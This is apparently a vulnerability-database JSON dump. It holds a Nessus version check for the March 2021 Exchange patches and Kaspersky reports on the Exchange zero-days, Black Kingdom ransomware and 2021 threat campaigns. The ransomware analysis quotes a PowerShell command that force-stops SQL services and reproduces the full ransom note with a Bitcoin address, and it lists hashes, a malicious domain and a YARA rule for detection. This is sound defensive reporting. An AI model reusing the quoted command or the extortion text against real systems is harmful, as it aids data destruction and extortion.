"2021-03-03T00:00:00", "type": "nessus", "title": "Security Updates for Microsoft Exchange Server (March 2021)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2023-01-31T00:00:00", "cpe": ["cpe:/a:microsoft:exchange_server"], "id": "SMB_NT_MS21_MAR_EXCHANGE_OOB.NASL", "href": "https://www.tenable.com/plugins/nessus/147003", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n# The descriptive text and package checks in this plugin were\n# extracted from the Microsoft Security Updates API. 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constraints =\n[\n {\n 'product' : '2013',\n 'unsupported_cu' : 22,\n 'cu' : 23,\n 'min_version': '15.00.1497.0',\n 'fixed_version': '15.00.1497.12',\n 'kb': '5000871'\n },\n {\n 'product' : '2016',\n 'unsupported_cu' : 13,\n 'cu' : 14,\n 'min_version': '15.01.1847.0',\n 'fixed_version': '15.01.1847.12',\n 'kb': '5000871'\n },\n {\n 'product': '2016',\n 'unsupported_cu': 13,\n 'cu' : 15,\n 'min_version': '15.01.1913.0',\n 'fixed_version': '15.01.1913.12',\n 'kb': '5000871'\n },\n {\n 'product' : '2016',\n 'unsupported_cu' : 13,\n 'cu' : 16,\n 'min_version': '15.01.1979.0',\n 'fixed_version': '15.01.1979.8',\n 'kb': '5000871'\n },\n {\n 'product': '2016',\n 'unsupported_cu': 13,\n 'cu' : 18,\n 'min_version': '15.01.2106.0',\n 'fixed_version': '15.01.2106.13',\n 'kb': '5000871'\n },\n {\n 'product' : '2016',\n 'unsupported_cu' : 13,\n 'cu' : 19,\n 'min_version': '15.01.2176.0',\n 'fixed_version': '15.01.2176.9',\n 'kb': '5000871'\n },\n {\n 'product' : '2019',\n 'unsupported_cu' : 3,\n 'cu' : 4,\n 'min_version': '15.02.529.0',\n 'fixed_version': '15.02.529.13',\n 'kb': '5000871'\n },\n {\n 'product' : '2019',\n 'unsupported_cu' : 3,\n 'cu' : 5,\n 'min_version': '15.02.595.0',\n 'fixed_version': '15.02.595.8',\n 'kb': '5000871'\n },\n {\n 'product' : '2019',\n 'unsupported_cu' : 3,\n 'cu' : 6,\n 'min_version': '15.02.659.0',\n 'fixed_version': '15.02.659.12',\n 'kb': '5000871'\n },\n {\n 'product' : '2019',\n 'unsupported_cu' : 3,\n 'cu' : 7,\n 'min_version': '15.02.721.0',\n 'fixed_version': '15.02.721.13',\n 'kb': '5000871'\n },\n {\n 'product' : '2019',\n 'unsupported_cu' : 3,\n 'cu' : 8,\n 'min_version': '15.02.792.0',\n 'fixed_version': '15.02.792.10',\n 'kb': '5000871'\n }\n];\n\nvcf::microsoft::exchange::check_version_and_report\n(\n app_info:app_info,\n bulletin:'MS20-12',\n constraints:constraints,\n severity:SECURITY_WARNING\n);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "securelist": [{"lastseen": "2021-03-10T12:32:23", "description": "\n\n## What happened?\n\nOn March 2, 2021 several companies [released](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) [reports](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) about in-the-wild exploitation of zero-day vulnerabilities inside Microsoft Exchange Server. The following vulnerabilities allow an attacker to compromise a vulnerable Microsoft Exchange Server. As a result, an attacker will gain access to all registered email accounts, or be able to execute arbitrary code (remote code execution or RCE) within the Exchange Server context. In the latter case, the attacker will also be able to achieve persistence on the infected server.\n\nA total of four vulnerabilities were uncovered:\n\n 1. [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>). Server-side request forgery (SSRF) allows an attacker without authorization to query the server with a specially constructed request that will cause remote code execution. The exploited server will then forward the query to another destination. \n 2. [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>) caused by unsafe data deserialization inside the Unified Messaging service. Potentially allows an attacker to execute arbitrary code (RCE). As a result of insufficient control over user files, an attacker is able to forge a body of data query, and trick the high-privilege service into executing the code.\n 3. [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>). This vulnerability allows an authorized Exchange user to overwrite any existing file inside the system with their own data. To do so, the attacker has to compromise administrative credentials or exploit another vulnerability such as SSRF CVE-2021-26855.\n 4. [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) is similar to CVE-2021-26858 and allows an authorized attacker to overwrite any system file on the Exchange server. \n\nKaspersky [Threat Intelligence](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) shows that these vulnerabilities are already used by cybercriminals around the world.\n\n_Geography of attacks with mentioned MS Exchange vulnerabilities (based on KSN statistics) ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/04171325/microsoft_exchange_expoit_map.png>))_\n\nWe predict with a high degree of confidence that this is just the beginning, and we anticipate numerous exploitation attempts with the purpose of gaining access to resources inside corporate perimeters. Furthermore, we should note that there is typically a high risk of [ransomware](<https://securelist.com/targeted-ransomware-encrypting-data/99255/>) infection and/or data theft connected to such attacks. \n\n## How to protect against this threat?\n\nOur products protect against this threat with [Behavior Detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and [Exploit Prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) components and detect exploitation with the following verdict: PDM:Exploit.Win32.Generic \nWe detect the relevant exploits with the following detection names:\n\n * Exploit.Win32.CVE-2021-26857.gen\n * HEUR:Exploit.Win32.CVE-2021-26857.a\n\nWe also detect and block the payloads (backdoors) being used in the exploitation of these vulnerabilities, according to our Threat Intelligence. Possible detection names are (but not limited to):\n\n * HEUR:Trojan.ASP.Webshell.gen\n * HEUR:Backdoor.ASP.WebShell.gen\n * UDS:DangerousObject.Multi.Generic\n\nWe are actively monitoring the situation and additional detection logic will be released with updatable databases when required.\n\nOur [Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>) helps to identify attacks in early stages by marking such suspicious actions with special IoA tags (and creating corresponding alerts). For example, this is an example of Powershell started by IIS Worker process (w3wp.exe) as a result of vulnerability exploitation: \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/07094546/microsoft_exchange_expoit_edr.png>)\n\nOur [Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) service is also able to identify and stop this attack by using threat hunting rules to spot the exploitation itself, as well as possible payload activity.\n\nAnd the thorough research of the attack will soon be available within APT Intelligence Reporting service, please contact [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>) for details.\n\n## Recommendations\n\n * As Microsoft has already released an update to fix all these vulnerabilities, we strongly recommend updating Exchange Server as soon as possible.\n * Focus your defense strategy on detecting lateral movements and data exfiltration to the internet. Pay special attention to outgoing traffic to detect cybercriminal connections. Back up data regularly. Make sure you can quickly access it in an emergency.\n * Use solutions like [Kaspersky Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>) and the [Kaspersky Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) service which help to identify and stop the attack in the early stages, before the attackers achieve their goals.\n * Use a reliable endpoint security solution such as Kaspersky Endpoint Security for Business that is powered by exploit prevention, behavior detection and a remediation engine that is able to roll back malicious actions. KESB also has self-defense mechanisms that can prevent its removal by cybercriminals.", "cvss3": {}, "published": "2021-03-04T17:20:57", "type": "securelist", "title": "Zero-day vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-04T17:20:57", "id": "SECURELIST:403B2D76CFDBDAB0862F6860A95E54B4", "href": "https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-06-17T10:31:39", "description": "\n\nBlack Kingdom ransomware appeared on the scene back in 2019, but we observed some activity again in 2021. The ransomware was used by an unknown adversary for exploiting a Microsoft Exchange vulnerability (CVE-2021-27065).\n\nThe complexity and sophistication of the Black Kingdom family cannot bear a comparison with other Ransomware-as-a-Service (RaaS) or Big Game Hunting (BGH) families. The ransomware is coded in Python and compiled to an executable using PyInstaller; it supports two encryption modes: one generated dynamically and one using a hardcoded key. Code analysis revealed an amateurish development cycle and a possibility to recover files encrypted with Black Kingdom with the help of the hardcoded key. The industry already [provided a script](<https://blog.cyberint.com/black-kingdom-ransomware>) to recover encrypted files in case they were encrypted with the embedded key.\n\n## Background\n\nThe use of a ransomware family dubbed Black Kingdom in a campaign that exploited the CVE-2021-27065 Microsoft Exchange vulnerability known as [ProxyLogon](<https://proxylogon.com/>) was [publicly reported](<https://twitter.com/vikas891/status/1373282066603859969>) at the end of March.\n\nAround the same time, we published a story on another ransomware family used by the attackers after successfully exploiting vulnerabilities in Microsoft Exchange Server. The ransomware family was DearCry.\n\nAnalysis of Black Kingdom revealed that, compared to others, it is an amateurish implementation with several mistakes and a critical encryption flaw that could allow decrypting the files due to the use of a hardcoded key. Black Kingdom is not a new player: it was observed in action following other vulnerability exploitations in 2020, such as CVE-2019-11510.\n\n**Date** | **CVE** | **Product affected** \n---|---|--- \nJune 2020 | CVE-2019-11510 | Pulse Secure \nMarch 2021 | CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065 | Microsoft Exchange Server \n \n## Technical analysis\n\n### Delivery methods\n\nBlack Kingdom's past activity indicates that ransomware was used in larger vulnerability exploitations campaigns related to Pulse Secure or Microsoft Exchange. [Public reports](<https://twitter.com/malwaretechblog/status/1373648027609657345>) indicated that the adversary behind the campaign, after successfully exploiting the vulnerability, installed a webshell in the compromised system. The webshell enabled the attacker to execute arbitrary commands, such as a PowerShell script for downloading and running the Black Kingdom executable.\n\n### Sleep parameters\n\nThe ransomware can be executed without parameters and will start to encrypt the system, however, it is possible to to run Black Kingdom with a number value, which it will interpret as the number of seconds to wait before starting encryption.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141438/BlackKingdom_ransomware_01.png>)\n\n**_'Sleep' parameter used as an argument_**\n\n### Ransomware is written in Python\n\nBlack Kingdom is coded in Python and compiled to an executable using PyInstaller. While analyzing the code statically, we found that most of the ransomware logic was coded into a file named _0xfff.py_. The ransomware is written in Python 3.7.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141523/BlackKingdom_ransomware_02.png>)\n\n**_Black Kingdom is coded in Python_**\n\n### Excluded directories\n\nThe adversary behind Black Kingdom specified certain folders to be excluded from encryption. The purpose is to avoid breaking the system during encryption. The list of excluded folders is available in the code:\n\n * Windows,\n * ProgramData,\n * Program Files,\n * Program Files (x86),\n * AppData/Roaming,\n * AppData/LocalLow,\n * AppData/Local.\n\nThe code that implements this functionality demonstrates how amateurishly Black Kingdom is written. The developers failed to use OS environments or regex to avoid repeating the code twice.\n\n### PowerShell command for process termination and history deletion\n\nPrior to file encryption, Black Kingdom uses PowerShell to try to stop all processes in the system that contain "sql" in the name with the following command:\n \n \n Get-Service*sql*|Stop-Service-Force2>$null\n\nOnce done, Black Kingdom will delete the PowerShell history in the system.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141650/BlackKingdom_ransomware_03.png>)\n\n**_PowerShell commands run by Black Kingdom_**\n\nCombined with a cleanup of system logs, this supports the theory that the attackers try to remain hidden in the system by removing all traces of their activity.\n\n### Encryption process\n\nThe static analysis of Black Kingdom shows how it generates an AES-256 key based on the following algorithm.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141733/BlackKingdom_ransomware_04.png>)\n\n**_The pseudo-algorithm used by Black Kingdom_**\n\nThe malware generates a 64-character pseudo-random string. It then takes the MD5 hash of the string and uses it as the key for AES-256 encryption.\n\nThe code contains credentials for sending the generated key to the third-party service hxxp://mega.io. If the connection is unsuccessful, the Black Kingdom encrypts the data with a hardcoded key available in the code.\n\nBelow is an example of a successful connection with hxxp://mega.io.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141817/BlackKingdom_ransomware_05.png>)\n\n**_Connection established with mega.io_**\n\n** **The credentials for mega.io are hardcoded in base64 and used for connecting as shown below.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143025/BlackKingdom_ransomware_06.png>)\n\n**_Hardcoded credentials_**\n\nThe file sent to Mega contained the following data.\n\n**Parameter** | **Description:** \n---|--- \nID: | Generated ID for user identification \nKey: | Generated user key \nUser: | Username in the infected system \nDomain: | Domain name to which the infected user belongs \n \nBlack Kingdom will encrypt a single file if it is passed as a parameter with the key to encrypt it. This could allow the attacker to encrypt one file instead of encrypting the entire system.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143102/BlackKingdom_ransomware_07.png>)\n\n**_Function for encrypting a single file_**\n\nIf no arguments are used, the ransomware will start to enumerate files in the system and then encrypt these with a ten-threaded process. It performs the following basic operations:\n\n 1. Read the file,\n 2. Overwrite it with an encrypted version,\n 3. Rename the file.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143137/BlackKingdom_ransomware_08.png>)\n\n**_The function used for encrypting the system_**\n\nBlack Kingdom allows reading a file in the same directory called target.txt, which will be used by the ransomware to recursively collect files for the collected directories specified in that file and then encrypt them. Black Kingdom will also enumerate various drive letters and encrypt them. A rescue note will be delivered for each encrypted directory.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143222/BlackKingdom_ransomware_09.png>)\n\n**_Rescue note used by the ransomware_**\n\n### Encryption mistakes\n\nAmateur ransomware developers often end up making mistakes that can help decryption, e.g., poor implementation of the encryption key, or, conversely, make recovery impossible even after the victim pays for a valid decryptor. Black Kingdom will try to upload the generated key to Mega, and if this fails, use a hardcoded key to encrypt the files. If the files have been encrypted and the system has not been able to make a connection to Mega, it will be possible to recover the files using the hardcoded keys.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143256/BlackKingdom_ransomware_10.png>)\n\n**_Hardcoded key in Base64_**\n\nWhile analyzing the code statically, we examined the author's implementation of file encryption and found several mistakes that could affect victims directly. During the encryption process, Black Kingdom does not check whether the file is already encrypted or not. Other popular ransomware families normally add a specific extension or a marker to all encrypted files. However, if the system has been infected by Black Kingdom twice, files in the system will be encrypted twice, too, which may prevent recovery with a valid encryption key.\n\n### System log cleanup\n\nA feature of Black Kingdom is the ability to clean up system logs with a single Python function.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143334/BlackKingdom_ransomware_11.png>)\n\n**_The function that cleans up system logs_**\n\nThis operation will result in Application, Security, and System event viewer logs being deleted. The purpose is to remove any history of ransomware activity, exploitation, and privilege escalation.\n\n### Ransomware note\n\nBlack Kingdom changes the desktop background to a note that the system is infected while it encrypts files, disabling the mouse and keyboard with pyHook as it does so.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143409/BlackKingdom_ransomware_12.png>)\n\n**_Function to hook the mouse and keyboard_**\n\nWritten in English, the note contains several mistakes. All Black Kingdom notes contain the same Bitcoin address; sets it apart from other ransomware families, which provide a unique address to each victim.\n \n \n ***************************\n | We Are Back ?\n ***************************\n \n We hacked your (( Network )), and now all files, documents, images,\n databases and other important data are safely encrypted using the strongest algorithms ever.\n You cannot access any of your files or services .\n But do not worry. You can restore everthing and get back business very soon ( depends on your actions )\n \n before I tell how you can restore your data, you have to know certain things :\n \n We have downloaded most of your data ( especially important data ) , and if you don't contact us within 2 days, your data will be released to the public.\n \n To see what happens to those who didn't contact us, just google : ( Blackkingdom Ransomware )\n \n ***************************\n | What guarantees ?\n ***************************\n \n We understand your stress and anxiety. So you have a free opportunity to test our service by instantly decrypting one or two files for free\n just send the files you want to decrypt to (support_blackkingdom2@protonmail.com\n \n ***************************************************\n | How to contact us and recover all of your files ?\n ***************************************************\n \n The only way to recover your files and protect from data leaks, is to purchase a unique private key for you that we only posses .\n \n \n [ + ] Instructions:\n \n 1- Send the decrypt_file.txt file to the following email ===> support_blackkingdom2@protonmail.com\n \n 2- send the following amount of US dollars ( 10,000 ) worth of bitcoin to this address :\n \n [ 1Lf8ZzcEhhRiXpk6YNQFpCJcUisiXb34FT ]\n \n 3- confirm your payment by sending the transfer url to our email address\n \n 4- After you submit the payment, the data will be removed from our servers, and the decoder will be given to you,\n so that you can recover all your files.\n \n ## Note ##\n \n Dear system administrators, do not think you can handle it on your own. Notify your supervisors as soon as possible.\n By hiding the truth and not communicating with us, what happened will be published on social media and yet in news websites.\n \n Your ID ==>\n FDHJ91CUSzXTquLpqAnP\n\nThe associated Bitcoin address is currently showing just two transactions.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143451/BlackKingdom_ransomware_13.png>)\n\n**_Transactions made to a Bitcoin account_**\n\n### Code analysis\n\nAfter decompiling the Python code, we found that the code base for Black Kingdom has its origins in an open-source ransomware builder [available on Github](<https://github.com/BuchiDen/Ransomware_RAASNet/blob/master/RAASNet.py>).\n\nThe adversary behind Black Kingdom adapted parts of the code, adding features that were not originally presented in the builder, such as the hardcoded key or communication with the mega.io domain.\n\n## Victims\n\nBased on our telemetry we could see only a few hits by Black Kingdom in Italy and Japan.\n\n## Attribution\n\nWe could not attribute Black Kingdom to any known adversary in our case analysis. Its involvement in the Microsoft Exchange exploitation campaign suggests opportunism, rather than a resurgence in activity from this ransomware family.\n\nFor more information please contact: [financialintel@kaspersky.com](<mailto:financialintel@kaspersky.com>)\n\n## Appendix I \u2013 Indicators of Compromise\n\n**_Note:_**_ The indicators in this section were valid at the time of publication. Any future changes will be directly updated in the corresponding .ioc file._\n\n**File Hashes**\n\nb9dbdf11da3630f464b8daace88e11c374a642e5082850e9f10a1b09d69ff04f \nc4aa94c73a50b2deca0401f97e4202337e522be3df629b3ef91e706488b64908 \na387c3c5776ee1b61018eeb3408fa7fa7490915146078d65b95621315e8b4287 \n815d7f9d732c4d1a70cec05433b8d4de75cba1ca9caabbbe4b8cde3f176cc670 \n910fbfa8ef4ad7183c1b5bdd3c9fd1380e617ca0042b428873c48f71ddc857db \n866b1f5c5edd9f01c5ba84d02e94ae7c1f9b2196af380eed1917e8fc21acbbdc \nc25a5c14269c990c94a4a20443c4eb266318200e4d7927c163e0eaec4ede780a\n\n**Domain:**\n\nhxxp://yuuuuu44[.]com/vpn-service/$(f1)/crunchyroll-vpn\n\n**YARA rules:**\n \n \n import \"hash\"\n import \"pe\"\n rule ransomware_blackkingdom {\n \n meta:\n \n description = \"Rule to detect Black Kingdom ransomware\"\n author = \"Kaspersky Lab\"\n copyright = \"Kaspersky Lab\"\n distribution = \"DISTRIBUTION IS FORBIDDEN. DO NOT UPLOAD TO ANY MULTISCANNER OR SHARE ON ANY THREAT INTEL PLATFORM\"\n version = \"1.0\"\n last_modified = \"2021-05-02\"\n hash = \"866b1f5c5edd9f01c5ba84d02e94ae7c1f9b2196af380eed1917e8fc21acbbdc\"\n hash = \"910fbfa8ef4ad7183c1b5bdd3c9fd1380e617ca0042b428873c48f71ddc857db\"\n \n condition:\n \n hash.sha256(pe.rich_signature.clear_data) == \"0e7d0db29c7247ae97591751d3b6c0728aed0ec1b1f853b25fc84e75ae12b7b8\"\n }\n\n## Appendix II \u2013 MITRE ATT&CK Mapping\n\nThis table contains all TTPs identified during the analysis of the activity described in this report.\n\n**Tactic** | **Technique.** | **Technique Name. ** \n---|---|--- \n**Execution** | **T1047** | **Windows Management Instrumentation** \n**T1059** | **Command and Scripting Interpreter** \n**T1106** | **Native API** \n**Persistence** | **T1574.002** | **DLL Side-Loading** \n**T1546.011** | **Application Shimming** \n**T1547.001** | **Registry Run Keys / Startup Folder** \n**Privilege Escalation** | **T1055** | **Process Injection** \n**T1574.002** | **DLL Side-Loading** \n**T1546.011** | **Application Shimming** \n**T1134** | **Access Token Manipulation** \n**T1547.001** | **Registry Run Keys / Startup Folder** \n**Defense Evasion** | **T1562.001** | **Disable or Modify Tools** \n**T1140** | **Deobfuscate/Decode Files or Information** \n**T1497** | **Virtualization/Sandbox Evasion** \n**T1027** | **Obfuscated Files or Information** \n**T1574.002** | **DLL Side-Loading** \n**T1036** | **Masquerading** \n**T1134** | **Access Token Manipulation** \n**T1055** | **Process Injection** \n**Credential Access** | **T1056** | **Input Capture** \n**Discovery** | **T1083** | **File and Directory Discovery** \n**T1082** | **System Information Discovery** \n**T1497** | **Virtualization/Sandbox Evasion** \n**T1012** | **Query Registry** \n**T1518.001** | **Security Software Discovery** \n**T1057** | **Process Discovery** \n**T1018** | **Remote System Discovery** \n**T1016** | **System Network Configuration Discovery** \n**Collection** | **T1560** | **Archive Collected Data** \n**T1005** | **Data from Local System** \n**T1114** | **Email Collection** \n**T1056** | **Input Capture** \n**Command and Control** | **T1573** | **Encrypted Channel** \n**Impact** | **T1486** | **Data Encrypted for Impact**", "cvss3": {}, "published": "2021-06-17T10:00:41", "type": "securelist", "title": "Black Kingdom ransomware", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-06-17T10:00:41", "id": "SECURELIST:DF3251CC204DECD6F24CA93B7A5701E1", "href": "https://securelist.com/black-kingdom-ransomware/102873/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-05-31T11:03:47", "description": "\n\n## Targeted attacks\n\n### Putting the 'A' into APT\n\nIn December, SolarWinds, a well-known IT managed services provider, fell victim to a sophisticated supply-chain attack. The company's Orion IT, a solution for monitoring and managing customers' IT infrastructure, was compromised by threat actors. This resulted in the deployment of a custom backdoor, named Sunburst, on the networks of more than 18,000 SolarWinds customers, including many large corporations and government bodies, in North America, Europe, the Middle East and Asia.\n\nOne thing that sets this campaign apart from others, is the peculiar victim profiling and validation scheme. Out of the 18,000 Orion IT customers affected by the malware, it seems that only a handful were of interest to the attackers. This was a sophisticated attack that employed several methods to try to remain undetected for as long as possible. For example, before making the first internet connection to its C2s, the Sunburst malware lies dormant for up to two weeks, preventing easy detection of this behaviour in sandboxes. In [our initial report on Sunburst](<https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/>), we examined the method used by the malware to communicate with its C2 (command-and-control) server and the protocol used to upgrade victims for further exploitation.\n\nFurther investigation of the Sunburst backdoor revealed several [features that overlap with a previously identified backdoor known as Kazuar](<https://securelist.com/sunburst-backdoor-kazuar/99981/>), a .NET backdoor first reported in 2017 and tentatively linked to the Turla APT group.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/01/08095035/Sunburst_backdoor_Kazuar_01.png>)\n\nThe shared features between Sunburst and Kazuar include the victim UID generation algorithm, code similarities in the initial sleep algorithm and the extensive usage of the FNV1a hash to obfuscate string comparisons. There are several possibilities: Sunburst may have been developed by the same group as Kazuar; the developers of Sunburst may have adopted some ideas or code from Kazuar; both groups obtained their malware from the same source; some Kazuar developers moved to another team, taking knowledge and tools with them; or the developers of Sunburst introduced these links as a form of false flag. Hopefully, further analysis will make things clearer.\n\n### Lazarus targets the defence industry\n\nWe have observed numerous activities of the Lazarus group over many years, with the threat actor changing targets depending on its objectives. Over the last two years, we have tracked Lazarus's use of ThreatNeedle, an advanced malware cluster of Manuscrypt (aka NukeSped), to target several industries. While investigating [attacks on the defense industry](<https://securelist.com/lazarus-threatneedle/100803/>) in mid-2020, we were able to observe the complete life-cycle of an attack, uncovering more technical details and links to the group's other campaigns.\n\nLazarus made use of COVID-19 themes in its spear-phishing emails, embellishing them with personal information gathered using publicly available sources. Once the victim opens an infected document and agrees to enable macros, the malware is dropped onto the system and proceeds to a multi-stage deployment procedure.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/18145116/lazarus_threatneedle_07.png>)\n\nAfter gaining an initial foothold, the attackers gathered credentials and moved laterally, seeking crucial assets in the victim's environment. They overcame network segmentation by gaining access to an internal router machine and configuring it as a proxy server, allowing them to exfiltrate stolen data from the victim's intranet to their remote server.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/24163703/lazarus_threatneedle_09.png>)[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/24164015/lazarus_threatneedle_12.png>)\n\nWe have been tracking ThreatNeedle malware for more than two years and are highly confident that this malware cluster is attributed only to the Lazarus group. During this investigation, we were able to find connections to several other clusters belonging to the Lazarus group.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/18145822/lazarus_threatneedle_19.png>)\n\n### MS Exchange zero-day vulnerabilities exploited in the wild\n\nOn March 2, Microsoft released [out-of-band patches for four zero-day vulnerabilities in Exchange Server](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>) that are being actively exploited in the wild (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065). The vulnerabilities allow an attacker to gain access to an Exchange server, create a web shell for remote server access and steal data from the victim's network.\n\nMicrosoft attributed the attacks to a threat actor called Hafnium, although other researchers have reported that there are also [other groups exploiting the vulnerabilities to launch attacks](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>).\n\nOur [threat intelligence](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) indicates that companies across the globe have been targeted in attacks that exploit these vulnerabilities \u2013 with the greatest focus on Europe and the US.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/04171325/microsoft_exchange_expoit_map.png>)Kaspersky products protect against this threat with [behavior-based detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and [exploit prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) components. We also detect and block the backdoors used in the exploitation of these vulnerabilities. Our EDR ([Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>)) solution helps to identify attacks in the early stages by marking suspicious actions with special IoA (Indicators of Attack) tags and by creating corresponding alerts.\n\nOur recommendations for staying safe from attacks using these vulnerabilities can be found [here](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>).\n\n### Ecipekac: sophisticated multi-layered loader discovered in A41APT campaign\n\nA41APT is a long-running campaign, active from March 2019 to the end of December 2020, that has targeted multiple industries, including Japanese manufacturing and its overseas bases. We believe, with high confidence, that the threat actor behind this campaign is APT10.\n\nOne particular piece of malware from this campaign is called Ecipekac (aka DESLoader, SigLoader, and HEAVYHAND). It is a very sophisticated multi-layer loader module used to deliver payloads such as SodaMaster, P8RAT, and FYAnti which in turn loads QuasarRAT.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/25134233/APT10_and_the_A41_APT_campaign_14.png>)The operations and implants of the campaign are remarkably stealthy, making it difficult to track the threat actor's activities. The threat actor behind the campaign implements several measures to conceal itself and make it more difficult to analyze. Most of the malware families used in the campaign are fileless malware and have not been seen before.\n\nWe believe that the most significant aspect of the Ecipekac malware is that the encrypted shellcodes are inserted into digitally signed DLLs without affecting the validity of the digital signature.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/25132856/APT10_and_the_A41_APT_campaign_05.png>)\n\nWhen this technique is used, some security solutions cannot detect these implants. Judging from the main features of the P8RAT and SodaMaster backdoors, we believe these modules are downloaders responsible for downloading further malware which we have so far been unable to obtain.\n\nYou can find out more about the campaign [here](<https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/>).\n\n## Other malware\n\n### Fake ad blocker, with miner included\n\nSome time ago, we discovered a number of fake applications being used to deliver a Monero crypto-currency miner to target computers. The fake programs are distributed through malicious websites that may be listed in the victim's search results. We believe this is a continuation of [a campaign last summer, reported by Avast](<https://blog.avast.com/fake-malwarebytes-installation-files-distributing-coinminer>), in which the malware masqueraded as the Malwarebytes antivirus installer. In [the latest campaign](<https://securelist.com/ad-blocker-with-miner-included/101105/>), we observed the malware impersonating several applications: the ad blockers AdShield and Netshield, as well as the OpenDNS service.\n\nOnce the victim has started the program, it changes the DNS settings on the device so that all domains are resolved through the attackers' servers: this prevents the victim from accessing certain antivirus sites. The malware then updates itself: the update also downloads and runs a modified Transmission torrent client, which sends the ID of the targeted computer, along with installation details, to the C2 server. It then downloads and installs the miner.\n\nData from Kaspersky Security Network showed that, from February 2021 until the time we published our report, there were attempts to install fake applications on the devices of more than 7,000 people. At the peak of the current campaign, more than 2,500 people were attacked each day, with most victims located in Russia and CIS countries. \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/05122816/01-en-ru-fake-adshield-miner-diagram.png>)\n\n### Ransomware encrypting virtual hard disks\n\nRansomware gangs are exploiting vulnerabilities in VMware ESXi to target virtual 